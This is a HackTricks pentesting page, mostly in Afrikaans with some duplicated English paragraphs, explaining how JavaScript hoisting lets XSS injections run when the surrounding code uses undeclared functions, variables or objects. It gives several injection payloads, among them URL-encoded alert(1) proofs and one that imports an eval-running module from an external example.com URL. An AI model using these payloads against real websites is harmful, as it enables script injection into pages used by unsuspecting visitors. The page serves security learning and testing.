9.5 KiB
JS Hoisting
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Basiese Inligting
In die JavaScript-taal word 'n meganisme bekend as Hoisting beskryf waar verklarings van veranderlikes, funksies, klasse of invoere konseptueel na die bokant van hul omvang verhoog word voordat die kode uitgevoer word. Hierdie proses word outomaties deur die JavaScript-enjin uitgevoer, wat deur die skripsie in verskeie deurgange gaan.
Tydens die eerste deurgang ontleder die enjin die kode om te kyk vir sintaksisfoute en omskep dit in 'n abstrakte sintaksisboom. Hierdie fase sluit hoisting in, 'n proses waar sekere verklarings na die bokant van die uitvoerkonteks verskuif word. As die ontledingsfase suksesvol is, wat dui op geen sintaksisfoute nie, gaan die skripsie-uitvoering voort.
Dit is noodsaaklik om te verstaan dat:
- Die skripsie vry van sintaksisfoute moet wees vir uitvoering om plaas te vind. Sintaksisreëls moet streng nagekom word.
- Die plasing van kode binne die skripsie beïnvloed uitvoering as gevolg van hoisting, alhoewel die uitgevoerde kode mag verskil van sy teksuele voorstelling.
Tipes Hoisting
Gebaseer op die inligting van MDN, is daar vier onderskeie tipes hoisting in JavaScript:
- Value Hoisting: Maak die gebruik van 'n veranderlike se waarde binne sy omvang moontlik voordat dit gedeclareer word.
- Declaration Hoisting: Maak dit moontlik om na 'n veranderlike binne sy omvang te verwys voordat dit gedeclareer word sonder om 'n
ReferenceError
te veroorsaak, maar die waarde van die veranderlike salundefined
wees. - Hierdie tipe verander die gedrag binne sy omvang as gevolg van die verklaring van die veranderlike voor sy werklike verklaringslyn.
- Die neveneffekte van die verklaring vind plaas voordat die res van die kode wat dit bevat, geëvalueer word.
In detail vertoon funksieverklarings tipe 1 hoisting-gedrag. Die var
sleutelwoord toon tipe 2-gedrag. Lexikale verklarings, wat let
, const
en class
insluit, toon tipe 3-gedrag. Laastens is import
-verklarings uniek omdat hulle gehoist word met beide tipe 1- en tipe 4-gedrag.
Scenarios
Daarom, as jy scenarios het waar jy JS-kode kan inspuit nadat 'n ongedeklareerde voorwerp gebruik is, kan jy die sintaksis regmaak deur dit te deklareer (sodat jou kode uitgevoer word in plaas van om 'n fout te veroorsaak):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']
Meer Scenarios
Scenario 1: Hoisting in JavaScript
Scenario 1: Hoisting in JavaScript
In JavaScript, hoisting is a behavior where variable and function declarations are moved to the top of their containing scope during the compilation phase. This means that you can use variables and functions before they are actually declared in your code.
In JavaScript, hoisting is 'n gedrag waar variabele- en funksiedeklarasies na die boonste gedeelte van hul omvattende omvang verskuif word gedurende die samestellingsfase. Dit beteken dat jy veranderlikes en funksies kan gebruik voordat hulle werklik in jou kode verklaar word.
For example, consider the following code:
Byvoorbeeld, oorweeg die volgende kode:
console.log(x); // Output: undefined
var x = 5;
In this example, the variable x
is declared and assigned a value of 5
after the console.log
statement. However, when the code is executed, the output is undefined
. This is because the variable declaration is hoisted to the top of the scope, but the assignment is not hoisted. Therefore, at the time of the console.log
statement, the variable x
exists but has not been assigned a value yet.
In hierdie voorbeeld word die veranderlike x
verklaar en 'n waarde van 5
toegeken na die console.log
-verklaring. Wanneer die kode egter uitgevoer word, is die uitset undefined
. Dit is omdat die veranderlike verklaring na die boonste gedeelte van die omvang verskuif word, maar die toekenning nie verskuif word nie. Daarom, op die tydstip van die console.log
-verklaring, bestaan die veranderlike x
, maar dit het nog nie 'n waarde gekry nie.
This behavior can be leveraged in cross-site scripting (XSS) attacks to execute malicious code. By injecting JavaScript code that relies on hoisting, an attacker can manipulate the execution flow and potentially gain unauthorized access or perform other malicious actions.
Hierdie gedrag kan benut word in kruis-webwerf-skripsie (XSS) aanvalle om skadelike kode uit te voer. Deur JavaScript-kode in te spuit wat afhanklik is van hoisting, kan 'n aanvaller die uitvoervloei manipuleer en moontlik ongemagtigde toegang verkry of ander skadelike aksies uitvoer.
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}
Verwysings
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.